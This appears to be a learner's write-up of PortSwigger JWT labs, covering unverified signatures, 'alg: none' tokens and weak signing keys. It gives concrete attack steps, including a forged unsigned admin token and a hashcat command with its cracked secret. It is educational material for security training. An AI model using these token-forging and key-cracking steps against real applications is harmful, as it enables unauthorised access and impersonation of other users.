What Are JWTs?

Quote

JSON web tokens (JWTs) are a standardized format for sending cryptographically signed JSON data between systems. They can theoretically contain any kind of data, but are most commonly used to send information (“claims”) about users as part of authentication, session handling, and access control mechanisms.

Unlike with classic session tokens, all of the data that a server needs is stored client-side within the JWT itself.

JWT Signature

Quote

The server that issues the token typically generates the signature by hashing the header and payload. In some cases, they also encrypt the resulting hash.

JWT Implementations

Quote

The JWT spec is extended by both the JSON Web Signature (JWS) and JSON Web Encryption (JWE) specifications, which define concrete ways of actually implementing JWTs.

When people use the term “JWT”, they almost always mean a JWS token. JWEs are very similar, except that the actual contents of the token are encrypted rather than just encoded.

What Are JWT Attacks?

Quote

JWT attacks involve a user sending modified JWTs to the server in order to achieve a malicious goal. Typically, this goal is to bypass authentication and access controls by impersonating another user who has already been authenticated.

Accepting Arbitrary Signatures

Quote

JWT libraries typically provide one method for verifying tokens and another that just decodes them. For example, the Node.js library jsonwebtoken has verify() and decode().

Occasionally, developers confuse these two methods and only pass incoming tokens to the decode() method. This effectively means that the application doesn’t verify the signature at all.

Lab: JWT Authentication Bypass via Unverified Signature

Header and payload when logged in as wiener:

{
  "kid": "fd652895-c8ce-40f6-a298-08b5df6cab66",
  "alg": "RS256"
}
{
  "iss": "portswigger",
  "exp": 1724583782,
  "sub": "wiener"
}

Access to /admin with this JWT, we got the following message:

Warning

Admin interface only available if logged in as an administrator

Change sub field to administrator and repeat the request, we can get into the /admin page.

Accepting Tokens with No Signature

Quote

JWTs can be signed using a range of different algorithms, but can also be left unsigned. In this case, the alg parameter is set to none, which indicates a so-called “unsecured JWT”.

Due to the obvious dangers of this, servers usually reject tokens with no signature. However, as this kind of filtering relies on string parsing, you can sometimes bypass these filters using classic obfuscation techniques, such as mixed capitalization and unexpected encodings.

Note

Even if the token is unsigned, the payload part must still be terminated with a trailing dot.

Lab: JWT Authentication Bypass via Flawed Signature Verification

To bypass the authentication, we do the following things:

  1. Change alg of header to "none".
  2. Change sub of payload to "administrator
  3. Remove the signature part (excluding the trailing dot).

Particularly, the JWT should be modified into this:

JWT

eyJraWQiOiI2Y2M3ODBjYi1hYTg1LTQ3YTktOTNkNi0zODU0ZjBmMGEwMTciLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDU4NTc4NCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.

Brute-forcing Secret Keys

You just need a valid, signed JWT from the target server and a wordlist of well-known secrets. You can then run the following command, passing in the JWT and wordlist as arguments:

hashcat -a 0 -m 16500 <jwt> <wordlist>

Lab: JWT Authentication Bypass via Weak Signing Key

Use hashcat and the above wordlist to find the secret key:

$ hashcat -a 0 -m 16500 eyJraWQiOiI0MzRkYzk4ZS1mNWZjLTRmODEtYWEyYy04NzRkMmM4ZTE0MTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDU4Njg1Niwic3ViIjoid2llbmVyIn0.feVtkq6MsXxM3ISUv2OJK5q6WgSbbKs0VQb1aRfCrfY ./jwt.secrets.list --show
 
eyJraWQiOiI0MzRkYzk4ZS1mNWZjLTRmODEtYWEyYy04NzRkMmM4ZTE0MTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDU4Njg1Niwic3ViIjoid2llbmVyIn0.feVtkq6MsXxM3ISUv2OJK5q6WgSbbKs0VQb1aRfCrfY:secret1

As we can see, the secret key is secret1.

Use this secret to create a symmetric key in JWT Editor extension of Burp Suite. Then, change payload into:

{
    "iss": "portswigger",
    "exp": 1724586856,
    "sub": "administrator"
}

And sign the payload with the created key.

Send request to /admin and delete the carlos user to finish the lab.

Resources